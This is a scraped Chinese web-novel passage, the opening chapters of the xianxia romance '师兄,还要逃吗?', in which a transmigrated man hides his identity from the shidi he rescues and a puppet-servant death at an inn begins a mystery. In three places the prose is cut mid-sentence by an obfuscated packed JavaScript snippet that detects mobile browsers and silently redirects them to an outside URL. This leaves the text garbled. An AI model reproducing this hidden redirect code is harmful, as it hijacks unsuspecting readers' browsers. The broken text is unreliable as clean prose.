《师兄,还要逃吗?》 1. 新年 新元三百七十一年,正月初一。 一碗刚从锅里捞出来的面条被搁在桌上,翻腾的热气冲散了弥漫的沉默,死寂一般的房间里处处透着寒意。 良久,终于有人先按捺不住开了口,只听一道温润沉雅的声音说:“醒了便起来吃点东西。” 楚秋辞恍惚了一瞬,几乎以为自己还在梦里,他手指轻颤,并不想从美梦中醒来。然而身后那道视线实在难以忽视,楚秋辞抿了抿唇,咳嗽两声,要从床上翻身坐起,可头还晕着,坐起来的一瞬间眼冒金星,撑着起身的手刚一软,肩膀立刻被一双带着温度的手扶住了。 楚秋辞张了张嘴,半垂着眼不去看身前那人,等了等才没话找话道:“你如何知道我醒了。” 身前人妥帖地往他身后垫上褥子,再替他把棉被往上提了提,才答:“猜的。” “再睡下去,这年初一可就过去了。”裴惊澜笑了笑。 楚秋辞很多年没有对温度有过确切的感受了,可此时却觉得这天冻骨得很,寒风从四面八方钻来,挡都挡不住。 他还是低着头,把身上的被子紧了紧,裴惊澜见他这样也不欲多说,只道:“我就不扰你清静了,你注意歇息。” 裴惊澜转过身,手刚搭在门上就听身后传出一道嘶哑微弱的声音:“今日多谢了,敢问阁下姓名?” 裴惊澜顿了顿,说:“裴野,野火烧不尽[注]。” 沉默一息,楚秋辞忽然笑出了声,紧接着又闷闷地咳嗽起来,咳得“连绵不绝”,叫人生出一种这是一个久病难医之人的错觉,引得裴惊澜几次想开口问他究竟是怎么伤的,可他的手死死按在房门上,到底没能开口。等缓过气,楚秋辞终于抬起头,望进裴惊澜那双担忧的眼眸里。 “可是真名?”楚秋辞轻轻地问。 裴惊澜并不在乎这话里带着的冒犯,点头道:“这是自然。” 楚秋辞深吸一口气,闭上了眼。 就在裴惊澜以为他不会再开口的时候,楚秋辞嘴唇微微一动。 “好名字。” 裴惊澜垂在身侧的手慢慢捏紧,最后什么也没说,替楚秋辞关上了房门。 裴野的确是他的真名,只不过并不属于这个世界的他——或者说,不属于这个世界曾经的他。 裴野,生于科技发达的现世,奋斗多年好不容易闯出了自己的一番天地,却在三十二岁那年因为胃出血住进ICU。或许那一次他在鬼门关滚过一遭,糊里糊涂滚错了地儿,就这么着滚进了一个异世界——也就是如今这个有着鬼怪神仙的异世界,他抬头一望,好罢,一切都得从头来。在这个连说话都得从头学的异世界摸爬滚打快两百年,结果又是一朝身死,来勾魂的鬼差可能是终于发现这个货不对板的魂魄,冲着将功补过的想法又让他穿了回去,于是现世的他睁了眼,从ICU中醒了过来,一看时间才过去了一周。 裴惊澜差点以为自己在另一个时空的两百年全是自己的一场梦。 出院之后他一直不断回忆起在异世的点点滴滴,夜里时常睡不好,总梦到在异世的人和事,有时候半夜还会突然惊醒觉得自己还有什么事情没有做,坐起来了才想起自己现在是裴野,裴惊澜甚至有一次听到一个凭空出现的声音问他想不想回去,他鬼使神差地点了头才发现自己还在开会,会议上等着他开口做决策的人都一脸莫名地看着他。 …… 诸如此类的事情裴惊澜在那几个月里经历了无数次。 就在裴惊澜以为自己得了精神分裂准备去看心理医生时,他竟然又穿了回来,一回来还在家门口捡到了自己上辈子的死对头。 天知道,他上辈子死的时候是真没准备做好再和这人见面的准备。 好在这次穿越他终于得了个好处——他此次穿过来的身体和他在现世的身体一模一样,除了现世可能携带的那些病毒没一并穿回来,其他的应该都没什么差别。也就是说,现在他的这张脸在这个世界没有人见过,这大大方便了裴惊澜实施“隐姓埋名低调过一辈子”的计划。 虽然这个计划在一开始就出了一点差错,那个他本来打定主意不去招惹的人居然莫名其妙出现在家门口,他因为实在不忍心让满身是伤的人就这么躺在家门口,再加上仗着那人认不出自己就这么把人搬回了家,但除此以外未来可期。 裴惊澜想起几个小时前在自家门口那个意识全无浑身是血的人,摇了摇头,默默对自己说:“再等几天吧,等他伤好就走。” 虽说裴惊澜很相信自己不会那么轻易暴露身份,但还是小心为上,反正上辈子活得精彩,或许有些事有些人还没个结果,但身死道消,什么爱恨情仇也都该随风而去烟消云散了,这辈子他既不想再去做搅弄血雨腥风的人,也对钱权名利没了兴趣,还不如找个犄角旮旯山清水秀的地方安度“晚年”,保不齐等他死了之后还能回现世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971478|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续潇洒。 忽略掉内心深处那点微妙的不甘,裴惊澜非常满意自己的计划。 这次穿过来,不只身体是自己的,还给配备了一处房产,至少不用像上次一样寄人篱下,等到楚秋辞伤好,他就把房产一卖走人。 果然生活还是得活着才有盼头,裴惊澜这么想着,把剩下的面条给自己煮了,慢悠悠吃完找了间空房间,等到躺下了才想起自己没给楚秋辞说一声“生日快乐”,不过他一翻身,又想起自己没有立场去说,便干脆地放下了这个念头。 夜长露深,寒意愈发深重。 等到外头彻底没有了动静,楚秋辞才从床上下来,盯了许久那碗冷透的面条,最终还是拿起筷子。 楚秋辞裹着长衫,端着碗在桌边坐下,慢条斯理地挑起一筷子面条送进嘴里,这碗面条的味道很淡,没有放葱花,面粉很粗,说不上好吃,甚至因为冷了太久而显得有些难以下咽。 但楚秋辞咽下第一口,又挑起第二口…… 烛火摇曳,他在微弱的灯光和不知从何而来的细细冷风中像一个没有自主意识的傀儡,一口一口地咽下这碗没滋没味的面条,他吃了很久很久,久到拿筷子的手已经被冻得彻底没有了知觉,满满一碗面条终于见了底,而他也终于找到了碗底藏着的两个荷包蛋。 师兄以前说,小孩子过生日要吃鸡蛋,代表圆圆满满。但是楚秋辞不喜欢吃煮鸡蛋,所以师兄每次都会在给他煮的长寿面下面卧两个荷包蛋,他曾经问过师兄为什么是两个蛋,师兄只是揉了揉他的脑袋,笑着说:“因为这代表两份祝福,是好事成双的意思。” 以前每一年生辰他都会有这样一碗长寿面,没有葱花,味道清淡但鲜美,碗底有着代表好事成双圆圆满满的荷包蛋,这个习惯一直持续到师兄和他决裂。 算起来,他已经有一百六十三年没有吃过这碗长寿面,没有过“生辰”这个概念了,以至于他居然忘记了今天是自己的生日。 手中的筷子莫名不听使唤,楚秋辞一边竭力控制着那双筷子,一边奇怪地发现自己的视线模糊了,他颤抖着手,看不清也夹不起那个荷包蛋,就好像那个蛋被施了千斤咒,拼尽全力也撼动不了分毫,楚秋辞的呼吸渐渐急促起来,脸上一瞬间有什么滚烫的东西滚过。 直到一颗泪珠砸进碗里,他才明白原来自己哭了。 一百年了,师兄—— 我终于找回你了。 2. 红楼 正月十五,上元佳节。 城里四处张灯结彩,酒楼里人海泱泱,出来采买的男男女女们个个脸上都溢着笑,今天可是个祭祖供仙的大日子。 栖山城里平日最难订的红楼此时更是人满为患,楼里所有包厢都在半月前被预订出去,大堂中的桌座此时已经坐满了人,甚至连酒楼大门都还围着一群想进来的人,乌泱泱的,又吸引来一批看热闹的路人,声势愈加浩大。 这红楼可与常见的酒楼不同,明面上这只是个遍布七州大小城市的酒楼,背地里却是什么生意都接,向来是条件够什么事都能给你办成。 红楼这名字很是对得起它的外观,外头的墙面刷满了红漆,里头却金碧堂皇,华贵得很,层高四楼,下面一二楼是吃饭聚餐的地方,三楼开始就是只有特定顾客才可进入,还接一些凡间的生意;四楼就鲜有人能进去了,能进去的大多都是些有权有势的世家子弟,或是一些会腾云驾雾的仙人——至于这些仙人权贵需要一个小小酒楼做些什么那就众说纷纭了。 也有人传这红楼就是背靠神仙的,可要说是哪路神仙,便是各人各志各有说法了。 客人一多伙计也忙,一楼角落里一个匆忙擦着桌子预备擦完立刻去后厨端菜的小厮忽然被人拍了拍肩,他眉头霎时不受控制地皱了皱,又想起掌柜的叮嘱,嘴角随即扬起,转头时脸上表情还没调整好,要笑不笑,眉头要皱不皱,滑稽得很。 然而拍他肩膀的客人并没有对他这副模样见怪,只礼貌问道:“今日这里可是有什么活动?” 小厮闻言,心里刻薄地想:连在干嘛都不知道,何必来凑这热闹。 可瞧着客人温和俊朗一看就是金钱堆里养出的气质样貌,他到底只敢陪笑解释:“是了,今个老板念着上元节添添喜气,说是让大家伙热闹一下,就搞了点小活动。” “有诸如投壶、猜灯谜、花灯寻物的寻常小游戏,”小厮指着一些戴着面具服装统一的人说,“去找那些人即可,戴红面具的伙计负责投壶,黄面具的负责猜灯谜,白面具的负责花灯寻物。” 小厮说到这顿了一下,舔了舔唇,凑近了些,像是说什么不为人知的秘辛般道:“若是你能赢下个什么游戏,就能拿到一块牌子,拿齐五块牌子可以去兑奖,有个奖是换一次掀面具的机会——这些戴面具的人里面有一个是花魁!” “掌柜说,谁今年能第一个找到花魁,他就能满足对方一个小心愿。”小厮越说越兴奋,仿佛已经看见掌柜答应自己的请求了。 他说完才意识到自己的冒犯,连忙后退两步,低下头轻声补充:“只要他能做到的,什么愿望都可以。” 裴惊澜笑笑,忽视了小厮话语中暗藏的深意,他从袖中摸出一块碎银递给小厮,道:“多谢。” 小厮一瞧见裴惊澜手里头的东西,眼睛立刻亮了起来,连忙在围裙上擦擦手去接,同时死死盯住那块银子,口中连声道:“多谢公子,多谢公子!” 等他满心欢喜地将银子揣入兜里,再一抬头,眼前哪里还有什么公子。方才那人就像凭空消失一般在人群里不见了,周围人里满是戴着面具的人,一个赛一个激动,有人做着游戏有人左拥右抱,真可谓是群魔乱舞,欢呼声冲天。 小厮挠了挠头,忽然有点想不起刚才那个人长什么样子了。 裴惊澜绕过人群,推开了二楼某间包厢的门。 “你喜欢热闹?”裴惊澜关上门,将外头的吵嚷声通通隔绝开来。他端了壶热茶,倒在楚秋辞面前已经空了的杯子里。 楚秋辞端起茶杯,随着热意传递到指尖,他牵起嘴角懒洋洋道:“以前喜欢。” 楚秋辞长得实在是好,尤其是笑起来明眸皓齿,一贯端的是风流倜傥的行风,往那一站就是个芝兰玉树的贵公子。而现下他难得添了几分病气,倒多了几分怏怏的书生气,很好地杂糅了他身上那股凌厉张扬的味道,右耳垂上一颗红痣格外晃眼,端着茶杯的手更是赏心悦目。 当真是翩翩君子,叫人打眼一瞧就挪不开眼。 裴惊澜属实是太久没见到这张脸了,一时差点被晃了心神。他回过神,脑子里转了一圈才从不知哪个角落拾起一句没头没脑的话,他问:“那怎么想到来这儿过节?” “热闹。” 楚秋辞露丝毫不觉得自己这话听起来像在找茬,他喝掉一口热气腾腾的茶,放下茶杯后理直气壮地冲裴惊澜露出一个完整的微笑,并不准备多做解释。 裴惊澜走到楚秋辞身后,将大开的窗户关掉一半,也不多追问,好脾气地向楚秋辞说起了刚才在小厮那听来的小游戏。 “想玩吗?”裴惊澜问。 楚秋辞点了头,刚要说话,包间门被敲响了。 “大人,请问方便上菜吗?”一个女声问。 裴惊澜打开房门,门口站着几名戴着面具端着餐盘的侍女。 “嗯,麻烦了。”裴惊澜让开身,侍女们鱼贯而入。 裴惊澜在楚秋辞身边的空位坐下,看着侍女布菜,一边思考待会应该先去试玩哪个游戏,正想得入神,冷不丁听到楚秋辞说了句:“裴兄,这些天叨扰你了。” 裴惊澜的万千思绪顿时卡了壳,脑子瞬间乱得像猫抓过的线团,什么都想不起来,却又觉得自己应该说些什么,于是一句“你伤好了吗”便卡在喉咙里,怎么也问不出口。 然而楚秋辞话音一转,又问:“裴兄不关心我的伤吗?” 裴惊澜把喉咙里的话咽下去,一面思索着又该捡什么话来说,一面又在心里苦笑,觉得自己是真的退步太多了,以往谈判桌上的游刃有余也不知道到哪里去了。 “我不知道。”短暂停留过后,裴惊澜接过话茬,脸上还是一贯的从容。他等着侍女们布完菜退下,才真诚道:“这么多天了,我都还不知道你伤到哪,实在没法说一句‘关心’。” 大年初一那天,裴惊澜刚穿回来没两个时辰,好不容易接受自己又穿越了的事实,结果一推开门就看见门前雪里趴着一个人,浑身是血,气息虚弱得好像下一口就要一命呜呼去见阎王了。 裴惊澜慢吞吞把人扶起来了才看清杂乱发丝掩盖下的那张脸,一瞬间惊得差点忘记呼吸,脚底下步子一乱,险些给伤员来个二次伤害。 那张许久没见过却能在记忆里清晰如昨的脸格外苍白,脸的主人很轻,体温很烫,以往一双明亮的眼紧紧闭着,他咬着唇,似乎在忍受什么极为痛苦的事情。 裴惊澜想都没想就给人抱回了屋。 后来理智回笼的裴惊澜给人处理了身上的血,却始终没有在他身上找到伤口,那个人的脉搏很微弱,但是并没有什么病入膏肓的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971479|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴惊澜顾及着自己和他的身份,本着不多生事的想法,在楚秋辞醒来后对他的伤病一概不问,但凡话题有偏过去的意思他都会利落地转移。裴惊澜比谁都明白楚秋辞是谁,这世上能伤到他的人少之又少,只要他没死,他就一定不会有事。 裴惊澜心酸地想,他也没那个立场去过问。 这还是楚秋辞第一次这么直接地提起两人一直心照不宣避开的话题,裴惊澜一时不察险些乱了分寸,可此外他居然还抽空仔细品味了一番,觉得这风格实在有些熟悉。 谁料楚秋辞却摇头笑道:“裴兄怎么担不得一声‘关心’,这几日还多亏裴兄的照顾我才能恢复得如此快。” 裴惊澜脑子迟缓地转了转,还没从他擅长的糊弄话术中找出句适合的,便又听楚秋辞说了句:“我从前有个兄长,待我也是极好的。” 楚秋辞透过半开的窗户往楼下看去,街上熙熙攘攘人来人往,每个人都在忙着做各自的事情,脸上却不约而同挂着抹喜气洋洋的笑容。街上挂着红灯笼和各式各样的彩灯,只待夜幕降临后来一场独属人间的狂欢。 然而那些热闹并未能感染到楚秋辞,他眼底的情绪翻滚却看不真切,语气中满是怀念,他道:“我兄长常说生辰应该是个喜气的日子,一年难得一次,要开开心心地过好。以前我们日子清苦,一年也吃不上什么好东西,他便年年给我煮长寿面,面粉是他捕了鱼拿去城里换来的,面汤是他精心挑出的一条最好的鱼熬的汤。我不吃葱花,他便不放,也没有什么其他的味道,其实不好吃,但是我每次都会吃完。” “因为他每次都会在碗底藏两枚荷包蛋。” “蛋可是个好东西,家家户户都藏着,得是什么大日子才能吃,我家里更是一年到头吃不上两次,所以我每次看到那两个蛋都特别开心。对我来说,吃掉那碗没味道的面就能得到那两枚荷包蛋,是个很棒的奖励。” 楚秋辞回过头,脸上依旧挂着笑,可裴惊澜觉得那笑刺眼得很。 “那天大年初一,是我诞辰,可以祝我生辰快乐吗?”楚秋辞平静地转过头,眼睛一眨不眨地看着裴惊澜,等着他说出的下一句话。 “生辰快乐。”裴惊澜说。 紧接着他沉默了,良久,才问:“那……你兄长呢?” “死了。” 楚秋辞淡淡地扫过裴惊澜脸上的表情,心里头一直没准的事忽然落到了实处。到这份上了,裴惊澜依旧什么也不愿意说,楚秋辞心里没由来升起一股愤怒,感觉自己方才剖白的一肚子真心都喂了狗。 他面无表情补充道:“他背叛我,只好被我碎尸万段了。” 裴惊澜张了张嘴,似乎被这个回答给吓住了。 楚秋辞瞥了眼桌上的食物,目光落在了其中一道菜上,恶劣地评价道:“点的什么菜,下次好歹问问别人爱不爱吃。” 裴惊澜随着他的目光看了过去,那是一道简单的莲藕炖排骨,汤面白净,见不到几颗油花却能闻见莲藕的清甜和排骨的鲜香。 裴惊澜默默记下,还欲开口,就听见门外传出一声刺耳的尖叫:“啊啊啊啊——” “死人啦!” 裴惊澜站起身,正准备推门,而他身边支着手瞧他的楚秋辞突然轻飘飘落下句:“裴兄,你没发现刚那几个侍女有点不对劲吗?” 3. 僵子 “嗯?” 裴惊澜发出一个疑惑的音节。 楚秋辞靠着椅背,拿起桌上的筷子,将其中一只伸进那碗莲藕排骨汤中搅了搅,似笑非笑地说:“看来裴兄和我待在一起属实是有些紧张,竟没察觉那些侍女行动迟缓动作僵滞,怪得很,几乎同刚做成的僵子如出一辙。” 僵子,又名傀儡。其没有意识,一举一动皆听主人的调配,向来是鬼修身边常备的仆人。僵子一般是以活人生炼而成,这样能保证做出来的僵子有着类似活人的身体特征,技高者甚至能够保证僵子有呼吸和心跳,常人根本无法一眼分辨出来。最开始炼成的僵子因为与主人还不相同,所以行动迟缓,举手投足间都透着一股怪异的非人感,通常来说鬼修不会让刚炼成的僵子来做什么精细活。 比如方才进来的侍女,要离人非常近,还要给人端菜布菜,要是叫不熟悉这活的人来做都稍有不慎就可能端洒,更何况是由人差遣的僵子呢,更何况就算避过了这一遭,初成的僵子依旧无可避免地没有活气,但凡碰上个修士都藏不住。 “在下眼拙,也并非什么能人异士,瞧着那侍女也只觉得略有怪异,还以为是生了病,行动不便。”裴惊澜心平气和地说道,顺带回想了一下那几个侍女进来后的一举一动,又补充道:“我早年外出求学,有听闻过世间诸多鬼怪奇闻,这‘僵子’也算略知一二。今日一见倒是长了见识,的确行如僵尸,却还有人的体温。” 楚秋辞将手中筷放下,掩去筷头上一闪而过的乌紫,他一眨不眨地瞧着裴惊澜的脸,问:“裴兄不害怕?” 裴惊澜笑道:“自然是怕的,趋利避害,人之本能。” “你既怕这些,又何必捡了我?” 楚秋辞站起身,缓步逼近裴惊澜。他的目光始终停留在裴惊澜轻颤的睫毛上,声音轻若鸿毛,语气中带着些许蛊惑的味道,可问出的问题却丝毫不留余地。他停在了裴惊澜身前不足半臂的位置,既不算太过分,也远远超出了正常的交谈距离,裴惊澜能够清楚地看见他瞳孔中自己的倒影。 楚秋辞直勾勾地看着裴惊澜的眼睛问:“一个来路不明浑身是血的男人突然出现在你家门口,你不害怕?” “我身上无伤无病,心脉却损得厉害,裴兄也是懂医术的,你不害怕?” “我姓甚名谁家住何方你不知,我性格几何你不知,我是否惹了仇敌来此避难你不知,就这么留我养伤,你不害怕?” 楚秋辞顿了顿,又问: “裴野,你不怕我么?” 裴惊澜呼吸略微快了一分,立刻被楚秋辞捕捉到了。他扬起微笑,伸手往裴惊澜脸上探去,没有给裴惊澜回答的空闲,便主动替他答道:“你明明心里头有底得很。” 他到底还是没忍心,手最后也没碰到裴惊澜,只是替裴惊澜捡去了他肩上掉落的一根发丝。 楚秋辞起了善心,凑在裴惊澜耳边落下一句忠告:“哥哥,万一我不是好人怎么办呢?” 一声哥哥彻底打乱了裴惊澜的思绪,将他的记忆拉到了很多年前,他自己都数不清有多少年没有听到过这声称呼了。 可裴总是谁,他可是刀悬在头顶也能面无表情的人,只见他嘴唇轻启,无奈道:“小楚——你身上的牌子就写了这么个字,你又没说名字,我可以这样叫你吗?” “当然,”楚秋辞温顺地点头,“裴兄想怎么叫都可以。” 裴惊澜得到了准许,便继续说:“救你帮你都只是因为我不愿见一个重伤之人因我的瞻前顾后而有丧命的可能,换作是任何一个有点良心的都不会放任你不管的。再者,你觉得我太相信你了,可是你呢?” “小楚,你不也是从一开始就很信任我吗?” 裴惊澜说话温温和和的,可字字句句都透露着老练的油滑,当真是一点真心话都没有。末了,他还要再避重就轻地加上一句:“我相信你不会害我,所以别闹了好么,我去看看外头出了什么事。” 说完,他冲楚秋辞留下一个安抚的笑容,逃也似地推门离去,徒留楚秋辞一人捏紧了拳头,却又对这个人无可奈何。 还是这样,楚秋辞没什么情绪地想,还是在推开我,一百年也没个长进。 不过没关系,他盯着裴惊澜离开的那扇门,又坐下来捡起一双没动过的筷子,桌上的饭菜已经冷透了,他慢条斯理地夹起一块排骨送进嘴里,没吃出什么味道,于是刻薄地评价了一句:“没有兄长做的好吃。” 楚秋辞吃完这口就没了兴致,他吐出骨头放下筷子,缓缓站起活动了一下身子骨。 躲他又能怎么样,不想要他又能怎么样,就算他拿刀逼他离开也和他没关系,他只做他要做的事,无论是谁都不可以阻止他。但除此之外,他可以勉为其难地陪他玩一玩,不能逼紧了,不然师兄又跑掉了怎么办。 他不想再浪费时间了,也不会再给他逃离的机会。 裴惊澜仓皇出门后循着吵闹声来到一处位于角落的偏僻房间,房门外围了一圈人,却没有一个人敢踏进那间屋子。 “真可怜,死得不明不白。” “可怜什么,谁让她平日里又疯又癫,居然敢对那样对仙人!” “你们说她怎么死的啊,我明明刚才刚跟她讲了话,她——” “她怎么就死了啊!” “还能怎么死的?肯定是又说了什么大不敬的话做了什么疯事,上头的人来收她了。” 围观的人对于死者的议论始终不曾休止,裴惊澜听了一耳朵,没听到什么有用的信息,只好拨开人群往屋子里走去。 有人拉住了他:“诶公子,你别进去沾了晦气,这人还不知道是不是冒犯到了哪路神仙,横死当场,你这进去要是被神仙误会了可就不好了!” “没事的,神仙不会这么不明事理。”裴惊澜一边笑着说,一边不动声色地将自己的袖子从他手中拉出。 裴惊澜的眉眼是凌厉的,面无表情时眉眼的压迫感十足。他年轻时总有好友开玩笑说他凶,多年的经历让他周身的气质沉淀下来,还多了种威严。可他一笑却中和了脸带来的距离感,多了几分温润,像被打磨过的玉,依旧有股长年累月的凉意,但捂得久了也能暖起来。 楚秋辞以往很喜欢他笑,说他笑起来像所有人的哥哥,有亲和力。 果然那人见他执意要进去,也不再相劝,只是叹着气好心提醒道:“里头这人是生前神志不大清醒,从来都不敬神明,你到时候出来记得去庙里烧炷香,跟神仙表个诚意,别真惹了神仙们不高兴。” 裴惊澜点头致谢,心里头却想:要真去上香了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971480|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那才是对神仙大不敬。 如此想着,也不知戳到了他哪个笑点,低低笑出了声,身边人见状都格外不解,好些人还默默退后几步,企图离这个还没进去就被传染了疯病的男人远点。 裴惊澜收敛了笑声,只脸上还挂着笑意,他微微摇头,走进了房间。 这间屋子靠着楼梯,空间狭窄,却放着紧紧贴着一排床铺,放着三个圆木凳,凳子上放着一些化妆品,在床上横躺着一个女人,面具落在她脸侧,她紧闭双眼,嘴唇乌黑,一只手以奇特的角度扭曲着。 裴惊澜走近,探了探她的呼吸,将手落在了她颈侧。 很奇怪,她没有脉搏没有呼吸,连身体也是冷的,可就算她没有任何活人应有的特征,裴惊澜也非常确定——这个人还活着,还剩最后一口气。 裴惊澜心头泛起些不祥的预感,总觉得这招数在哪见过。 他拾起女人脸侧的面具,那张木制面具上的眼眶部分凌乱涂着一些紫红斑点,嘴部是青色的,其余地方是青红紫交杂,颜色艳丽得让人觉得难受。 裴惊澜看到这张面具的第一时间想到的是在现世新闻里偶然见过的一名被勒死的受害者,死者的死后的惨状在他脑子里一闪而过,随即他面不改色地将面具翻过来。面具背面有几道红漆画的复杂形状,是最简单的禁制符咒。 可裴惊澜略微一扫便察觉到了不对,这禁制咒下方添了几行小字,藏在面具阴影里,不仔细看几乎不可能及时发现。 这行小字写的也是咒,却是另一种裴惊澜未曾见过的咒。 不安感愈加明显,裴惊澜看着那行符咒陷入了沉思。 耳边却突然出现一道悦耳的男声:“这不是刚才来送菜的侍女之一吗?” 裴惊澜回过头,见门口的人不知何时散了,楚秋辞正没个站相地倚在门框上,手里把玩着一支投壶用的木箭。 “她手上的铃铛刚才差点掉汤里。”楚秋辞说着,往女人手腕上扫了一眼,扬起箭矢冲裴惊澜歪头笑道:“去玩投壶吗?” “掌柜说今天这游戏要一直到有人找到花魁了才能结束,还早呢,我想讨个头彩。” 僵子? 裴惊澜若有所思地将视线挪了回来,看了眼女人手上的铃铛,紧接着用目光扫过她的眼皮,最后平静地收回。 他放下面具,对楚秋辞说:“走吧。” “今天投壶的前三甲可以拿到一支血冰梅,”楚秋辞难得来了些兴致,已经和他身体融为一体的病气都少了几分,他眼神里满是势在必得,“虽说是个寻常玩意,但这个季节还是挺少见的,也好看,拿回去当个饰品也是好的。” 血冰梅开在夏季的雪山上,入药堪比千年人参,生得也漂亮,花瓣是亮如冰晶的白,花蕊一点红,妖而不艳。一株血冰梅在人间能炒到千两黄金,可在楚秋辞口中就成了寻常玩意,还要拿这千金不换的药材当观赏花卉。 裴惊澜笑了笑,跟着楚秋辞往投壶的地方走去,轻声道:“好。” 没有人看到,在他们走后,昏迷的女人动了动手腕,一条长约三寸的细蜈蚣从铃铛中爬了出来,爬过女人的脸,慢吞吞滑到地上消失不见。 随后,面具上那行小字迅速消散,与此同时女人的后颈上出现了一枚红点,像颗艳丽的红痣。 4. 恶咒 用楚秋辞的话来说,投壶的难度还没有他十岁时上树掏鸟蛋的难度大。 箭矢在空中划出一道漂亮的弧线,准确无误地落入壶中,发出“哐当”一声闷响,箭尾摇晃两下彻底与壶中其他箭矢紧密贴合上了。空气静默一瞬,紧接着欢呼声骤起,人潮刹那翻滚起来。 再仔细一看那装箭的筒,小小的一个壶口中挤着五支箭,紧密挨着,没有一点旁的空隙,而在这个壶旁边还有着另一只一模一样的壶,唯一的区别是那只壶里只有三支箭,有五支掉落在壶周围,凌乱之余还显得有些狼狈。 一个戴着黄色面具的伙计猛地鼓起掌来,他看起来比楚秋辞本人还要激动:“恭喜!恭喜这位客人守住擂台!接下来还有客人想要挑战吗?” 楚秋辞身旁一个青年男人挑了挑眉,摇着羽扇说:“这位小兄弟投壶的本事相当不错啊,我也不算自夸,但事实的确是——在投壶这事上,我若称第二,那至少在虞国境内没人敢称第一了。小兄弟可有兴趣来我府上一坐?” “那便不必了。” 楚秋辞随手将手中还剩下的三支箭递给伙计,拿着帕子擦了擦手,不甚在意地说:“投壶而已,但凡练过两天的人也能到我这水准。” 青年闻言,脸色一僵,手里的羽扇也跟着顿住了动作,长这么大,还没有人敢这样对他说话。 楚秋辞没得到回答,也无所谓,扭头找裴惊澜,打从他开始投第四支箭时这人就不见了踪影,楚秋辞心里头有些烦躁。 他余光中闪过一抹白色的衣裳,楚秋辞拔步准备过去,手臂却被人攥住了。他回过头,见青年不知何时已经调整好了表情,重新挂上一副玩世不恭的笑,对这个叫他下不来台的人多了几分兴味。 “我是朱荇,认识一下?”青年满不在意地说着,仿佛认识他就是全天下最大的幸事,任何得到他青睐的人都该感激涕零。 楚秋辞定住脚步,从容地将手臂抽了出来。 黄面具伙计给他递来一块金色玉牌和一块普通木牌,楚秋辞伸手接过,拿在手里细细把玩起来,这玉做得很精致,刻工精良,还没半个巴掌大的玉面上刻着一只涂满金粉的麒麟,细节处也栩栩如生,可见红楼出手着实阔绰。 朱荇等不到楚秋辞的回答,脸色越来越难看,周围人察觉到这里气氛不对,不约而同地避开。 “朱荇?”楚秋辞抬眸,上下打量了一番这个男人。 衣着华贵,腰间盘着一条叩玉镶金的带钩,挂着一块象征身份的令牌,和令牌旁边一串做工精细的玉佩挂坠串在一起,一动就叮当响。也不知现在人间的贵族是奢靡到了什么地步,竟然养成了这么个堂而皇之的嚣张做派。 楚秋辞半垂眼皮,将手中玉牌往上一抛又接住,权当没看见这个人,再次绕开朱荇离开:“不认识,没兴趣。” 朱荇显然没料到自己报出大名也没能得到应该有的关注和奉承,顿时有些不知所措,还要去拦楚秋辞,这次却连个衣角也没能碰到。 楚秋辞在他伸手的瞬间出现在了几步之外,这次他是真的有点没耐心了。楚秋辞压下脸上所有表情,偏头对朱荇说:“最后说一次,别碰我。” 僵子是鬼蜮出的东西,裴惊澜不可能不了解那是个什么东西,他甚至比其他人更清楚僵子的习性和弱点,他还知道刚炼成的僵子其实不止行动迟缓,身上还有股难言的臭味,类似汗臭,常人难以分辨,可裴惊澜却一闻就能知道。 方才来布菜的侍女身上分明没有那股味道,也因此裴惊澜才没有察觉异样。 并且要以活人炼僵,其实需要的只是一具活着的凡人身躯,内里的魂魄根本不需要存在,甚至如果没有去掉原本的魂魄,那僵子是很难完全控制的,所以为了避免出现失控的情况,僵主一般会把僵子原有魂魄化掉。 可死去的那个侍女根本就没有被下咒化魂的痕迹,那个侍女的魂魄的生机甚至强过了她的肉/体。 再加上那个侍女的眼皮…… 裴惊澜还注意到她眼皮上有着一股不属于她的气息,带着血气和臭味,他曾经在这样的味道中活了快一百年,哪怕再过几百年他也不可能忘记那股在尸山血海中翻滚的恶臭夹杂着人的贪欲,那就是世上最令人恶心的味道。 还有那行不明的小字符咒,以及楚秋辞提及的那个铃铛——裴惊澜揉了揉太阳穴,有点不太想去管这件闲事了。 但楚秋辞不会坐视不理,裴惊澜看着人群中心在投壶的男人,男人脊背已经长开,有着优秀的身形,哪怕在人群中也能让人一眼注意到他的独特,可裴惊澜想到的却是他十三岁时的调皮模样。 